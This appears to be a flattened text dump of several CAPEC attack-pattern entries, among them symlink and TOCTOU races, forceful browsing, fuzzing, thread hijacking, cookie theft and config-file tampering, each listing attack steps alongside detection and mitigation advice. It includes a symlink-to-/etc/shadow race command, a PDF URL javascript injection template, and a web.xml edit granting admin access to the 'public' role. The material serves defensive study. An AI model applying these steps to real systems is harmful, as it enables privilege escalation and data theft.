Verify that target host's platform supports symbolic links. This attack pattern is only applicable on platforms that support symbolic links. Research target platform to determine whether it supports symbolic links. env-Embedded env-Local Create a symbolic link and ensure that it works as expected on the given platform. env-Embedded env-Local Target platform supports symbolic links (e.g. Linux, UNIX, etc.) Target platform does not support symbolic links (e.g. MS Windows) Examine application's file I/O behavior Analyze the application's file I/O behavior to determine where it stores files, as well as the operations it performs to read/write files. Use kernel tracing utility such as ktrace to monitor application behavior env-Local Use debugging utility such as File Monitor to monitor the application's filesystem I/O calls env-Local Watch temporary directories to see when temporary files are created, modified and deleted. env-Embedded env-Local Analyze source code for open-source systems like Linux, Apache, etc. env-Embedded env-Local Attacker can watch files being created, modified and/or deleted by application. env-Embedded env-Local Application does not seem to perform any filesystem I/O operations. env-Embedded env-Local Attacker identifies at least one reproducable file I/O operation performed by the application. Attacker cannot identify any file I/O operations being performed by the application. Verify ability to write to filesystem The attacker verifies ability to write to the target host's file system. Create a file that does not exist in the target directory (e.g. "touch temp.txt" in UNIX-like systems) env-Embedded env-Local On platforms that differentiate between file creation and file modification, if the target file that the application writes to already exists, attempt to modify it. env-Embedded env-Local Verify permissions on target directory env-Embedded env-Local Target directory is a globally writable temp directory (e.g. /tmp in many UNIX-like systems) env-Embedded env-Local Target directory is writable by the attacker's effective user ID. env-Embedded env-Local Attacker can create and modify files in the target directory. Attacker cannot create or modify files in the target directory. Store temporary files in a directory with limited permissions where malicious users cannot tamper with them. Replace file with a symlink to a sensitive system file. Between the time that the application checks to see if a file exists (or if the user has access to it) and the time the application actually opens the file, the attacker replaces the file with a symlink to a sensitive system file. Create an infinite loop containing commands such as "rm -f tempfile.dat; ln -s /etc/shadow tempfile.dat". Wait for an instance where the following steps occur in the given order: (1) Application ensures that tempfile.dat exists and that the user has access to it, (2) "rm -f tempfile.dat; ln -s /etc/shadow tempfile.dat", and (3) Application opens tempfile.dat for writing, and inadvertently opens /etc/shadow for writing instead. env-Embedded env-Local Use other techniques with debugging tools to replace the file between the time the application checks the file and the time the application opens it. env-Embedded env-Local Sensitive file tampered with successfully. Sensitive file could not be tampered with. Use file handles to check existence of files, to check permissions and to open them. Do not use filename except to obtain a handle initially. Drop application's permissions to the current user's permissions before performing any file I/O operations (e.g. using Process.as_uid() in Ruby). Run application with minimal permissions. In particular, avoid running applications as root on UNIX-like systems and as Administrator on Windows systems. The attacker is able to create Symlink links on the target host. Tainted data from the attacker is used and copied to temporary files. The target host does insecure temporary file creation. High Medium Injection Time and State Modification of Resources In this naive example, the Unix program foo is setuid. Its function is to retrieve information for the accounts specified by the user. For "efficiency," it sorts the requested accounts into a temporary file (/tmp/foo naturally) before making the queries. The directory /tmp is world-writable. Malicious user Mallory creates a symbolic link to the file /.rhosts named /tmp/foo. Then, she invokes foo with + + as the requested account. The program creates the (temporary) file /tmp/foo (really creating /.rhosts) and puts the requested account (+ +) in it. It removes the temporary file (merely removing the symbolic link). Now the /.rhosts contains + +, which is the incantation necessary to allow anyone to use rlogin to log into the computer as the superuser. (Source : Wikipedia (http://en.wikipedia.org/wiki/Symlink_race)). GNU ed before 0.3 allows local users to overwrite arbitrary files via a symlink attack on temporary files, possibly in the open_sbuf function. CVE-2006-6939 OpenmosixCollector and OpenMosixView in OpenMosixView 1.5 allow local users to overwrite or delete arbitrary files via a symlink attack on (1) temporary files in the openmosixcollector directory or (2) nodes.tmp. CVE-2005-0894 Setuid product allows file reading by replacing a file being edited with a symlink to the targeted file, leaking the result in error messages when parsing fails. CVE-2000-0972 Medium/High: This attack is sophisticated because the attacker has to overcome a few challenges such as creating symlinks on the target host during a precise timing, inserting malicious data in the temporary file and have knowledge about the temporary files created (file name and function which creates them). The attacker will certainly look for file system locations where he can write and create Symlink links. The attacker may also observe the system and locate the temporary files created during a call to a certain function. Use safe libraries when creating temporary files. For instance the standard library function mkstemp can be used to safely create temporary files. For shell scripts, the system utility mktemp does the same thing. Access to the directories should be restricted as to prevent attackers from manipulating the files. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Follow the principle of least privilege when assigning access rights to files. Ensure good compartmentalization in the system to provide protected areas that can be trusted. Data Modification Privilege Escalation Denial of Service The content of the temporary file which is copied to the file pointed to by the Symlink. The content of the file overwriten when writing to the Symlink. The new content of the targeted file. This attack can cause privilege escalation, modification of resources or denial of services. 367 Targeted 61 Targeted 662 Targeted 689 Targeted 667 Targeted 29 More Detailed 26 More Detailed Least Privilege Exploitation High High Low All All All All Symlink Race, Wikipedia - http://en.wikipedia.org/wiki/Symlink_race Safe temporary file creation with mkstemp - http://www.opengroup.org/onlinepubs/009695399/functions/mkstemp.html Eric Dalci Cigital, Inc 2007-02-01 Sean Barnum Cigital, Inc 2007-03-08 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name, Description, Likelihood and Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback Amit Sethi Cigital, Inc. 2007-10-29 Added extended Attack Execution Flow

An attacker employs forceful browsing to access portions of a website that are otherwise unreachable through direct URL entry. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web appplication that have been improperly protected.

Spider Using an automated tool, an attacker follows all public links on a web site. He records all the links he finds. Use a spidering tool to follow and record all links env-Web Use a proxy tool to record all links visited during a manual traversal of the web application. env-Web A list of links is created by the attacker. Monitor velocity of page fetching in web logs. Humans who view a page and select a link from it will click far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them). Create links on some pages that are visually hidden from web browsers. Using IFRAMES, images, or other HTML techniques, the links can be hidden from web browsing humans, but visible to spiders and programs. A request for the page, then, becomes a good predictor of an automated tool probing the application. Actively monitor the application and either deny or redirect requests from origins that appear to be automated. Attempt well known or guessable resource locations Using an automated tool, an attacker requests a variety of well-known URLs that correspond to administrative, debugging, or other useful internal actions. He records all the positive responses from the server. Use a spidering tool to follow and record attempts on well known URLs env-Web Use a proxy tool to record all links visited during a manual traversal of attempts on well known URLs. env-Web Common resource identifiers are used (e.g., /admin/, admin.jsp, admin.aspx, etc.) env-Web Well known middleware or application platforms are used (e.g., Cold Fusion, WebSphere, WebLogic, JBoss, etc.) env-Web The attacker discovers one or more unprotected resources. Monitor errors (e.g., 404 not found) from web servers, application servers, and other HTTP infrastructure (e.g., load balancers). Alert on an unusual number of consecutive failures or total failures from a single host. Potentially alert on many failures from many different hosts, but in a relatively short time window. Create "honeypot" web pages or scripts that do not actually have any use in the application, and name them common names (e.g., admin.jsp, admin.do, admin.aspx, etc.). Alert when one of these resources is requested. Actively monitor the application and either deny or redirect requests from origins that appear to be generating an unusual amount of failures. Obtain a list of sensitive areas that should not be directly accessible (e.g., JSPs or other templates that should only be accessible via front controllers). Apply an external mechanism (rule in the load balancer, rule in the reverse proxy, etc.) to intercept and redirect requests for those resources. Ideally use patterns, not specific page names (e.g., /jsp/* instead of a list of individual JSPs). Regularly update the list that is used in operation. Identify defaults for platform-specific sensitive resources. If the application does not use those defaults, alert on all requests for them (e.g., http://server:8080/admin/) Use unauthorized resources By visiting the unprotected resource, the attacker makes use of unauthorized functionality. Access unprotected functions and execute them. env-All Malformed log entries are a common side-effect of this kind of attack. E.g., "User xyz deleted by on 10/16/07." The "by on" indicates that no authorized user was recorded. (A good entry would say "user xyz deleted by admin on 10/16/07"). Monitoring of log file entries for correct and consistent output format can indicate this kind of attack succeeding. View unauthorized data The attacker discovers and views unprotected sensitive data. Direct request of protected pages that directly access database back-ends. (e.g., list.jsp, accounts.jsp, status.jsp, etc.) env-Web Dynamic pages (JSP, ASP, PHP, etc.) exist that divulge sensitive data without first checking authorization. env-Web The forcibly browsable pages or accessible resources must be discoverable and improperly protected. High Very High A number of automated crawlers as well as other tools are available that generally perform a good job at looking for forcefully browsable pages Brute Force A bulletin board application provides an administrative interface at admin.aspx when the user logging in belongs to the administrators group. An attacker can access the admin.aspx interface by making a direct request to the page. Not having access to the interface appropriately protected allows the attacker to perform admnistrative functions without having to authenticate himself in that role. Low: Forcibly browsable pages can be discovered by using a number of automated tools. Doing the same manually is tedious but by no means difficult A directory listing is helpful but not a requirement. No special resources are required. Following all the links recursively reveals resources that are available Having a directory listing also points to the available pages and resources in the application that may be forcibly browsable. Authenticate request to every resource. In addition, every page or resource must ensure that the request it is handling has been made in an authorized context. Forceful browsing can also be made difficult to a large extent by not hard-coding names of application pages or resources. This way, the attacker cannot figure out, from the application alone, the resources available from the present context. Information Leakage Privilege Escalation Forceful browsing is a consequence of improper access control. The application is designed with an assumption that resources are to be accessed in a certain sequence and that this sequence is immutable. Pages in an application can request the client's identity each time a request is made or can rely on a controller or filter to do it for them before passing on the request. Often times, however, when pages are modified or new pages are added to an application, the access control logic is not updated simultaneously. This opens up an avenue for attackers to bypass the authentication mechanism and access such pages directly. Another cause is multiple access routes to the same resource, not all of which are equally well protected. 425 Targeted 285 Secondary 693 Targeted CVE-2007-1156 JBrowser allows remote attackers to bypass authentication and access certain administrative capabilities via a direct request for _admin/. CVE-2007-1062 The Cisco Unified IP Conference Station 7935 3.2(15) and earlier, and Station 7936 3.3(12) and earlier does not properly handle administrator HTTP sessions, which allows remote attackers to bypass authentication controls via a direct URL request to the administrative HTTP interface for a limited time Complete Mediation Reluctance To Trust Treat the Entire Inherited Process Context as Unvalidated Input Use Authentication Mechanisms, Where Appropriate, Correctly Chiradeep B. Chhaya 2007-03-13 First Draft Sean Barnum Cigital, Inc 2007-04-16 Review and revise Paco Hope Cigital, Inc. 2007-10-20 Added extended Attack Execution Flow

Fuzzing is a software testing method that feeds randomly constructed input to the system and looks for an indication that a failure in response to that input has occured. Fuzzing treats the system as a blackbox and is totally free from any preconceptions or assumptions about the system. An attacker can leverage fuzzing to try to identify weaknesses in the system. For instance fuzzing can help an attacker discover certain assumptions made in the system about user input. Fuzzing gives an attacker a quick way of potentially uncovering some of these assumptions without really knowing anything about the internals of the system. These assumptions can then be turned against the system by specially crafting user input that may allow an attacker to achieve his goals.

Observe communication and inputs The fuzzing attacker observes the target system looking for inputs and communications between modules, subsystems, or systems. Network sniffing. Using a network sniffer such as wireshark, the attacker observes communications into and out of the target system. env-Web env-ClientServer env-Peer2Peer env-CommProtocol Monitor API execution. Using a tool such as ktrace, strace, APISpy, or another debugging tool, the attacker observes the system calls and API calls that are made by the target system, and the nature of their parameters. env-Local env-Embedded Observe inputs using web inspection tools (OWASP's WebScarab, Paros, TamperData, TamperIE, etc.) env-Web The attacker creates a list of unique communications packets, messages, inputs, API calls or other actions the software takes. Alert on promiscuous mode. Some network devices (switches, hubs) or monitoring stations (e.g., IDS) can detect and alert when a station in the network is passively eavesdropping. Some production hardware (for embedded environments) can have debugging disabled on the hardware. Techniques exist to insert no-ops and other null branches that thwart basic attempts to execute software stepwise in a debugger. Generate fuzzed inputs Given a fuzzing tool, a target input or protocol, and limits on time, complexity, and input variety, generate a list of inputs to try. Although fuzzing is random, it is not exhaustive. Parameters like length, composition, and how many variations to try are important to get the most cost-effective impact from the fuzzer. Boundary cases. Generate fuzz inputs that attack boundary cases of protocol fields, inputs, or other communications limits. Examples include 0xff and 0x00 for single-byte inputs. In binary situations, approach each bit of an individual field with on and off (e.g., 0x80). env-All Attempt arguments to system calls or APIs. The variations include payloads that, if they were successful, could lead to a compromise on the system. env-Local env-Embedded Log unexpected parameters to API calls or system calls. Profile the software's expected use of system calls. Use a sandboxing technique to restrict its API calls to the expected patterns. SSL or other link-layer encryption techniques (VPN, 802.11x, etc.) can impair simple observation and require a would-be attacker to work much harder to get information about the operation of the software.. Observe the outcome Observe the outputs to the inputs fed into the system by fuzzers and see if anything interesting happens. If failure occurs, determine why that happened. Figure out the underlying assumption that was invalidated by the input. The software produces an indicator that the attacker can see (error message, altered error state in a protocol, etc.). env-All The previous step led to plausible, practical fuzz inputs. env-All If the software's indicators (error messages, etc.) vary clearly based on the attacker's input, then the attacker has a sufficient starting point for customizing his attack. The attacker is unable to induce unexpected failures or output based fuzzed inputs. Craft exploit payloads Put specially crafted input into the system that leverages the weakness identified through fuzzing and allows to achieve the goals of the attacker. Fuzzers often reveal ways to slip through the input validation filters and introduce unwanted data into the system. Identify and embed shellcode for the target system. env-All Embed higher level attack commands in the payload. (e.g., SQL, PHP, server-side includes, etc.) env-Web env-CommProtocol env-Peer2Peer env-ClientServer Induce denial of service by exploiting resource leaks or bad error handling. env-All Monitor system logs and alert on unusual activity. Most shellcode and unusual activity appears in logs. Medium High Analysis Injection Brute Force A fuzz test reveals that when data length for a particular field exceeds certain length, the input validation filter fails and lets the user data in unfiltered. This provides an attacker with an injection vector to deliver the malicious payload into the system. Low: There is a wide variety of fuzzing tools available. Fuzzing tools. A lot of invalid data is fed to the system. Data that cannot have been generated through a legitimate transaction/request. Data is coming into the system within a short period of time and potentially from the same IP. Take pauses between fuzzing attempts (may not be very practical). Spoof IP addresses so that it does not look like all data is coming from the same source. Test to ensure that the software behaves as per specification and that there are no unintended side effects. Ensure that no assumptions about the validity of data are made. Use fuzz testing during the software QA process to uncover any surprises, uncover any assumptions or unexpected behavior. Data Modification Denial of Service Information Leakage Privilege Escalation Run Arbitrary Code 74 Targeted 388 Targeted 20 Targeted 728 Secondary Reconnaissance Medium Medium Medium All All All All Eugene Lebanidze Cigital, Inc 2007-02-26 Sean Barnum Cigital, Inc 2007-03-01 Review and revision of content

This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. The typical example is the file access. The attacker can leverage a file access race condition by "running the race", meaning that he would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the attacker could do something such as replace the file and cause an escalation of privilege.

The attacker explores to gauge what level of access he has. The attacker confirms access to a resource on the target host. The attacker confirms ability to modify the targeted resource. The attacker decides to leverage the race condition by "running the race", meaning that he would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the attacker can replace the resource and cause an escalation of privilege. A resource is access/modified concurrently by multiple processes. The attacker is able to modify resource. A race condition exists while accessing a resource. High High Time and State Modification of Resources The Net Direct client for Linux before 6.0.5 in Nortel Application Switch 2424, VPN 3050 and 3070, and SSL VPN Module 1000 extracts and executes files with insecure permissions, which allows local users to exploit a race condition to replace a world-writable file in /tmp/NetClient and cause another user to execute arbitrary code when attempting to execute this client, as demonstrated by replacing /tmp/NetClient/client. CVE-2007-1057 The following code illustrates a file that is accessed multiple times by name in a publicly accessible directory. A race condition exists between the accesses where an attacker can replace the file referenced by the name. include <sys/types.h> include <fcntl.h> include <unistd.h> define FILE "/tmp/myfile" define UID 100 void test(char *str) { int fd; fd = creat(FILE, 0644); if(fd == -1) return; chown(FILE, UID, -1); /* BAD */ close(fd); } int main(int argc, char **argv) { char *userstr; if(argc > 1) { userstr = argv[1]; test(userstr); } return 0; } //Source : SAMATE.NIST.GOV : http://samate.nist.gov/SRD/view_testcase.php?login=Guest&;tID=1598 Medium/High: This attack can get sophisticated since the attack has to occur within a short interval of time. Vulnerability testing tool can be used to probe for race condition. The attacker may also look for temporary file creation. The attacker may try to replace them and take advantage of a race condition. Use safe libraries to access resources such as files. Be aware that improper use of access function calls such as chown(), tempfile(), chmod(), etc. can cause a race condition. Use synchronization to control the flow of execution. Use static analysis tools to find race conditions. Pay attention to concurrency problems related to the access of resources. Data Modification Privilege Escalation Run Arbitrary Code Information Leakage Denial of Service The window of time between when a file property is checked and when the file is used can be exploited to launch a privilege escalation attack. File access race conditions, known as time-of-check, time-of-use (TOCTOU) race conditions, occur when: 1. The program checks a property of a file, referencing the file by name. 2. The program later performs a filesystem operation using the same filename and assumes that the previously-checked property still holds. Example: The following code is from a program installed setuid root. The program performs certain file operations on behalf of non-privileged users, and uses access checks to ensure that it does not use its root privileges to perform operations that should otherwise be unavailable to the current user. The program uses the access() system call to check if the person running the program has permission to access the specified file before it opens the file and performs the necessary operations. if(!access(file,W_OK)) { f = fopen(file,"w+"); operate(f); ... } else { fprintf(stderr,"Unable to open file %s.\n",file); } The call to access()behaves as expected, and returns 0if the user running the program has the necessary permissions to write to the file, and -1 otherwise. However, because both access() and fopen() operate on filenames rather than on file handles, there is no guarantee that the file variable still refers to the same file on disk when it is passed to fopen() that it did when it was passed to access(). If an attacker replaces file after the call to access() with a symbolic link to a different file, the program will use its root privileges to operate on the file even if it is a file that the attacker would otherwise be unable to modify. By tricking the program into performing an operation that would otherwise be impermissible, the attacker has gained elevated privileges. This type of vulnerability is not limited to programs with root privileges. If the application is capable of performing any operation that the attacker would not otherwise be allowed perform, then it is a possible target. The window of vulnerability for such an attack is the period of time between when the property is tested and when the file is used. Even if the use immediately follows the check, modern operating systems offer no guarantee about the amount of code that will be executed before the process yields the CPU. Attackers have a variety of techniques for expanding the length of the window of opportunity in order to make exploits easier, but even with a small window, an exploit attempt can simply be repeated over and over until it is successful. 367 Targeted 368 Secondary 366 Secondary 370 Secondary 362 Secondary 662 Targeted 691 Targeted 663 Targeted 665 Secondary 26 More Detailed 27 More Abstract Least Privilege Exploitation High High Low All All All All J. Viega and G. McGraw. Building Secure Software. Addison-Wesley, 2002. CWE - Input Validation Eric Dalci Cigital, Inc 2007-01-25 Sean Barnum Cigital, Inc 2007-03-07 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name, Attack Flow, Attack Prerequisites and Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

Attackers can sometimes hijack a privileged thread from the underlying system through synchronous (calling a privileged function that returns incorrectly) or asynchronous (callbacks, signal handlers, and similar) means. Having done so, the Attacker may not only likely access functionality the system's designer didn't intend for them, but they may also go undetected or deny other users essential service in a catastrophic (or insidiously subtle) way.

Attacker determines the underlying system thread that is subject to user-control Attacker then provides input, perhaps by way of environment variables for the process in question, that affect the executing thread Upon successful hijacking, the attacker enjoys elevated privileges, and can possibly have the hijacked thread do his bidding The application in question employs a threaded model of execution with the threads operating at, or having the ability to switch to, a higher privilege level than normal users In order to feasibly execute this class of attacks, the attacker must have the ability to hijack a privileged thread. This ability includes, but is not limited to, modifying environment variables that affect the process the thread belongs to, or providing malformed user-controllable input that causes the executing thread to fault and return to a higher privilege level or such. This does not preclude network-based attacks, but makes them conceptually more difficult to identify and execute. Very High Low Analysis Modification of Resources API Abuse Attacker targets an application written using Java's AWT, with the 1.2.2 era event model. In this circumstance, any AWTEvent originating in the underlying OS (such as a mouse click) would return a privileged thread. The Attacker could choose to not return the AWT-generated thread upon consuming the event, but instead leveraging its privilege to conduct privileged operations. High: Hijacking a thread involves knowledge of how processes and threads function on the target platform, the design of the target application as well as the ability to identify the primitives to be used or manipulated to hijack the thread. The attacker needs to be able to latch onto a privileged thread. No special hardware or software tool-based resources are required. The Attacker does, however, need to be able to program, compile, and link to the victim binaries being executed so that it will turn control of a privileged thread over to the Attacker's malacious code. This is the case even if the attacker conducts the attack remotely. The attacker may attach a debugger to the executing process and observe the spawning and clean up of threads, as well as the switches in privilege levels The attacker can also observe the environment variables, if any, that affect executing threads and modify them in order to observe their effect on the execution. Application Architects must be careful to design callback, signal, and similar asynchronous constructs such that they shed excess privilege prior to handing control to user-written (thus untrusted) code. Application Architects must be careful to design privileged code blocks such that upon return (successful, failed, or unpredicted) that privilege is shed prior to leaving the block/scope. Privilege Escalation Run Arbitrary Code This pattern applies to circumstances in which the Attacker knows the victim API and can compile, link, and deploy code in which the victim's privileged threads will call malicious code. This, in most circumstances, will involve being 'in process' with the victim. The pattern does, however, apply in network-based circumstances in which remote object/callback interaction is allowed through RPC-like technologies. In either case (local or remote) the Attacker must be able to gain control of the thread through 'normal' means, which may require privilege-enough to register a call back, subscribe to a service, or similar. 270 Secondary Only those constructs within the application that cannot execute without elevated privileges must be granted additional privileges. Often times, the entire function or the entire process is granted privileges that are usually not necessary. The callee must ensure that additional privileges are shed before returning to the caller. This avoids pinning the responsibility on an inadvertant caller who may not have a clue about the innards of the callee. Least Privilege Complete Mediation Minimize privileged code blocks Shed any privileges not required to execute at the earliest Treat the Entire Inherited Process Context as Unvalidated Input Exploitation High High Low All All All All John Steven Cigital, Inc 2007-02-10 Initial core pattern content Chiradeep B. Chhaya Cigital, Inc 2007-02-28 Fleshed out pattern with extra content Sean Barnum Cigital, Inc 2007-03-07 Review and revise

This attack relies on the use of HTTP Cookies to store credentials, state information and other critical data on client systems. The first form of this attack involves accessing HTTP Cookies to mine for potentially sensitive data contained therein. The second form of this attack involves intercepting this data as it is transmitted from client to server. This intercepted information is then used by the attacker to impersonate the remote user/session. The third form is when the cookie's content is modified by the attacker before it is sent back to the server. Here the attacker seeks to convince the target server to operate on this falsified information.

Obtain copy of cookie The attacker first needs to obtain a copy of the cookie. The attacker may be a legitimate end user wanting to escalate privilege, or could be somebody sniffing on a network to get a copy of HTTP cookies. Obtain cookie from local filesystem (e.g. C:\Documents and Settings\*\Cookies and C:\Documents and Settings\*\Application Data\Mozilla\Firefox\Profiles\*\cookies.txt in Windows) env-Web Sniff cookie using a network sniffer such as Wireshark env-Web Obtain cookie from local memory or filesystem using a utility such as the Firefox Cookie Manager or AnEC Cookie Editor. env-Web Steal cookie via a cross-site scripting attack. env-Web Guess cookie contents if it contains predictable information. env-Web Cookies used in web application. env-Web Cookies not used in web application. env-Web Cookie captured by attacker. Cookie cannot be captured by attacker. To prevent network sniffing, cookies should be transmitted over HTTPS and not plain HTTP. To enforce this on the client side, the "secure" flag should be set on cookies (javax.servlet.http.Cookie.setSecure() in Java, secure flag in setcookie() function in php, etc.). Obtain sensitive information from cookie The attacker may be able to get sensitive information from the cookie. The web application developers may have assumed that cookies are not accessible by end users, and thus, may have put potentially sensitive information in them. If cookie shows any signs of being encoded using a standard scheme such as base64, decode it. env-Web Analyze the cookie's contents to determine whether it contains any sensitive information. env-Web Cookie only contains a random session ID (e.g. ASPSESSIONID, JSESSIONID, etc.) env-Web Cookie contains sensitive information (e.g. "ACCTNO=0234234", or "DBIP=0xaf112a22" -- database server's IP address). env-Web Cookie's contents cannot be deciphered. env-Web Cookie contains sensitive information that developer did not intent the end user to see. Cookie does not contain any sensitive information. Do not store sensitive information in cookies unless they are encrypted such that only the server can decrypt them. Modify cookie to subvert security controls. The attacker may be able to modify or replace cookies to bypass security controls in the application. Modify logical parts of cookie and send it back to server to observe the effects. env-Web Modify numeric parts of cookie arithmetically and send it back to server to observe the effects. env-Web Modify cookie bitwise and send it back to server to observe the effects. env-Web Replace cookie with an older legitimate cookie and send it back to server to observe the effects. This technique would be helpful in cases where the cookie contains a "points balance" for a given user where the points have some value. The user may spend his points and then replace his cookie with an older one to restore his balance. env-Web Subversion of security controls on server Cookie reset by server Web server logs contain many messages indicating that invalid cookies were received from client. Cookies should not contain any information that the user is not allowed to modify, unless that information is never expected to change. In the latter case, the integrity of the cookie should be protected using a digital signature or a message authentication code. Target server software must be a HTTP daemon that relies on cookies. High High Modification of Resources API Abuse Protocol Manipulation Time and State There are two main attack vectors for exploiting poorly protected session variables like cookies. One is the local machine itself which can be exploited directly at the physical level or indirectly through XSS and phising. In addition, the man in the middle attack relies on a network sniffer, proxy, or other intermediary to intercept the subject's credentials and use them to impersonate the digital subject on the host. The issue is that once the credentials are intercepted, impersonation is trivial for the attacker to accomplish if no other protection mechanisms are in place. Low: To overwrite session cookie data, and submit targeted attacks via HTTP High: Exploiting a remote buffer overflow generated by attack Ability to send HTTP request containing cookie to server Design: Use input validation for cookies Design: Generate and validate MAC for cookies Implementation: Use SSL/TLS to protect cookie in transit Implementation: Ensure the web server implements all relevant security patches, many exploitable buffer overflows are fixed in patches issued for the software. Information Leakage Data Modification Privilege Escalation One of the biggest challenges in distributed systems is communicating state between the client and server. A variety of schemes have been used, the de facto standard in web application is HTTP cookies. Because these cookies tie together a client and a server through a session, they are useful to system designers and attackers. Because cookies contain remote generated content they can also contain attack payloads. Cookies may contain a variety of data that servers use to enforce security policy, including session ID, cookie issuer, cookie issuance timestamp, session timeout, subject IP address, and MAC, however the HTTP server should not assume that the session cookie variables are invulnerable. They may be overwritten by the client and/or intermediaries. Cookies, like "hidden" HTML form fields, are generally assumed by developers to be invisible from a client standpoint, but in fact they are a target. From a privacy standpoint, cookies leave a digital audit trail that can violate a digital subject's privacy, cookies may persist personal information on hard drives, in browser cache, log files, proxy servers, and other intermediaries. "Because HTTP is a stateless protocol, cookies (small files that are stored in a client browser) were invented, mostly to preserve state. Poor design of cookie handling systems leaves both clients and HTTP daemons susceptible to buffer overflow attack." [Hoglund and McGraw 04] HTTP cookie Malicious input delivered through cookie in HTTP Request. Client software, such as a browser and its component libraries, or an intermediary 1. Enables attacker to leverage state stored in cookie 2. Enables attacker a vector to attack web server and platform 565 Targeted 302 Targeted 113 Targeted 539 Targeted 20 Targeted 315 Targeted 384 Targeted 472 Secondary 724 Targeted 602 Targeted 642 Targeted Exploitation High High Low Client-Server n-Tier All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-09 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name and Description Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback Amit Sethi Cigital, Inc. 2007-10-29 Added extended Attack Execution Flow

An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. < security-constraint> <description> Security processing rules for admin screens</description> <url-pattern>/admin/*</url-pattern> <http-method>POST</http-method> <http-method>GET</http-method> <auth-constraint> <role-name>administrator</role-name> <role-name>public</role-name> </auth-constraint> </security-constraint> The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.

The attacker must have the ability to modify nonexecutable files consumed by the target software. Very High High Injection API Abuse Modification of Resources Virtually any system that relies on configuration files for runtime behavior is open to this attack vector. The configuration files are frequently stored in predictable locations, so an attacker that can fingerpint a server process such as a web server or database server can quickly identify the likely locale where the configuration is stored. And this is of course not limited to server processes. Unix shells rely on profile files to store environment variables, search paths for programs and so on. If the aliases are changed, then a standard Unix "cp" command can be rerouted to "rm" or other standard command so the user's intention is subverted. Low: to identify and execute against an overprivileged system interface Ability to communicate synchronously or asynchronously with server that publishes an overprivileged directory, program, or itnerface. Optionally, ability to capture output directly through synchronous communication or other method such as FTP. Design: Enforce principle of least privilege Design: Run server interfaces with a non-root account and/or utilize chroot jails or other configuration techniques to constrain privileges even if attacker gains some limited access to commands. Implementation: Perform testing such as pentesting and vulnerability scanning to identify directories, programs, and interfaces that grant direct access to executables. Implementation: Implement host integrity monitoring to detect any unwanted altering of configuration files. Implementation: Ensure that files that are not required to execute, such as configuration files, are not over-privileged, i.e. not allowed to execute. Run Arbitrary Code Data Modification Privilege Escalation "Attack Pattern: Leverage Executable Code in Nonexecutable Files Attackers usually need to upload or otherwise inject hostile code into a target processing environment. In some cases, this code does not have to be inside an executable binary. A resource file, for example, may be loaded into a target process space. This resource file may contain graphics or other data and may not have been intended to be executed at all. But, if the attacker can insert some additional code sections into the resource, the process that does the loading may be none the wiser and may just load the new version. An attack can then occur." [Hoglund and McGraw 04] Nonexecutable files Executable code Client machine and client network Enables attacker to execute server side code with any commands that the program owner has privileges to. 94 Targeted 96 Targeted 95 Targeted 97 Targeted 272 Secondary 59 Secondary 282 Secondary 275 Secondary 264 Secondary 270 Secondary 714 Targeted Microsoft Security Bulletin MS04-028 Buffer Overrun in JPEG Processing (GDI+) Could Allow Code Execution 23 Similar 75 Similar Exploitation Medium High Low All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-09 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

An attacker searches for and invokes Web Services APIs that the target system designers did not intend to be publicly available. If these APIs fail to authenticate requests the attacker may be able to invoke services and/or gain privileges they are not authorized for.

